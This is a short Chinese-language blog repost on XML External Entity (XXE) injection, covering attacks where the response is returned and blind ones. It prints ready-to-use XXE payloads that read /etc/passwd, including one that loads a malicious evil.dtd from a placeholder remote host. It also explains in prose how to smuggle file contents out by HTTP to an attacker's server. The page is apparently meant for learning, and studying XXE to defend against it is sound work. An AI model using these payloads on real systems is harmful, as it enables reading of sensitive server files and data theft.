xxe 回顯與無回顯


轉載學習於紅日安全

一、有回顯

(1)直接將外部實體引用的URI設置為敏感目錄

<!DOCTYPE foo [<!ELEMENT foo ANY >

<!ENTITY  xxe SYSTEM "file:///etc/passwd" >]>

<foo>&xxe;</foo>

(2)將外部實體引用的 URL 設置到本地服務器,本地構建惡意 dtd 文件,遠程注入

<!DOCTYPE foo [<!ELEMENT foo ANY >

<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >

%xxe;]>

<foo>&evil;</foo>

外部 evil.dtd 中的內容:

<!ENTITY evil SYSTEM "file:///etc/passwd" >

二、無回顯

可以使用外帶數據通道提取數據,先使用 filter:/// 獲取目標文件的內容,然后將內容以 http 請求發送到接收數據的服務器(攻擊服務器)。實體 remote,all,send 的引用順序很重要,首先對 remote 引用的目的是將外部文件 evil.xml 引入到解釋上下文中,然后執行 %all,這時會檢測到 send 實體,在 root 節點中引用 send,就可以成功實現數據轉發

也可以直接在 DTD 中引用 send 實體,如果在 evil.xml 中,send 是個參數實體的話

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM